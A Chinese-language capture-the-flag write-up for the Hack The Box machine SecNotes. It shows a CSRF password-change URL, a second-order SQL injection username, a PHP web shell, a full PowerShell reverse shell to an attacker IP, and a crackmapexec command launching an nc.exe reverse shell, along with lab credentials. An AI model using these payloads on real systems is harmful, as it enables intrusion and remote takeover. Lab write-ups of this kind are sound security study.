HTB-SecNotes
- 信息收集
- 8808端口
- 80端口
- 通过CSRF获取
- 通过二次注入
- 立足
- tyler -> administrator
信息收集
8808端口
Windows IIS 10.0
可以从官方文档查看10.0版本可能的操作系统。
80端口
通过CSRF获取
目录扫描发现需要登陆后继续进一步操作啊。
对其进行简单的SQL注入测试。此外还发现如果没有此账号会出现No account found with that username.
可以借机来判断拥有哪些用户。
此外还有一个注册业务。
由于GDPR,所有用户必须删除任何包含个人身份信息(PII)的注释。
如有任何问题,请使用下面的联系链接联系tyler@secnotes.htb。
从这段话里能收获一个用户tyler。
接着测试一下New Note功能。
哈,我干了啥?
暂不清楚还是小心为妙,去验证一下tyler是否存在,如果存在就会说明密码不可用。
OK,现在有两个问题。一是如果目标是用的是关系数据库比如Mysql等,可以考虑从登录的select语句、注册用户的insert语句、修改密码的update语句注入。二是如果目标是用的NoSQL,那么可以考虑利用正则表达获取密码。
此外我还发现如果操作过快,比如点击修改密码后快速返回上一个页面就会触发检测器。
根据前面目录扫描结果判断为NoSQL可能性较高,当然也可能是障眼法引诱我掉入兔子洞。
先试试在登录处NoSQL吧。
可能注册和登录会有一个二次注入不过等会再试,还剩下一个联系我们。
随便输入后提交。
在测试时发现如果发送文字内包含了一个链接,那么目标的某个脚本回访回访问连接。
连接被访问。
可以试试CSRF(Cross Site Request Forgery)跨站点请求伪造。简单来说就是让目标点击恶意网站并执行构造好的脚本。当前环境下目标不想做的恐怕就是修改密码了。所以来构造一个使目标修改密码的payload。
试试转化为GET能否发送。
答案显而易见。
payload如下:
http://10.10.10.97/change_pass.php?password=123456&confirm_password=123456&submit=submit
利用Contact Us发送XSRF payload。
利用成功,使用tyler:123456登录目标。
通过二次注入
注册用户’or 1=1#后登录。注册了一个用户 'or 1=1#,进入select语句 select notes from table where username = '‘or 1=1#’
有三个Note,分别是迷你的粘性面包的配方、年份、还有tyler / 92g!mA8BGjOirkL%OG*&
。
使用获取的凭证登录smb服务。
有一个new-site目录我们拥有读写权,这就意味着有机会通过写入webshell或者reverse shell。
iisstart.htm不就是8808端口的么。
立足
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?phpif(isset($_GET['cmd'])){system($_GET['cmd']);}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
使用payload连接。
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.31',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
收集信息。
tyler -> administrator
在tyler的desktop目录下有一个bash的快捷方式。
C盘根目录下还有一个Ubuntu的压缩包。
C根目录下的Distros
查找刚刚的bash.exe具体在哪里,运行没用。
搜索全部可能。
运行还是没有结果。
可能是因为shell问题。
使用nc后就正常了。
查看linux的历史,发现了管理员账号信息,似乎管理员在把windows上的共享目录挂载到linux上,经过测试发现他确实做到了。
administrator%u6!4ZwgwOM#^OBf#Nwnh
有点乱,试试就知道密码是u6!4ZwgwOM#^OBf#Nwnh
,可以通过smbclient直接拿到flag。
想通过evil-winrm拿到shell,可惜失败了。
那还有什么办法么,那当然有。可以通过crackmapexec来完成。
crackmapexec smb 10.10.10.97 -u 'administrator' -p 'u6!4ZwgwOM#^OBf#Nwnh' -X 'C:\inetpub\new-site\nc.exe -e cmd 10.10.14.31 4443'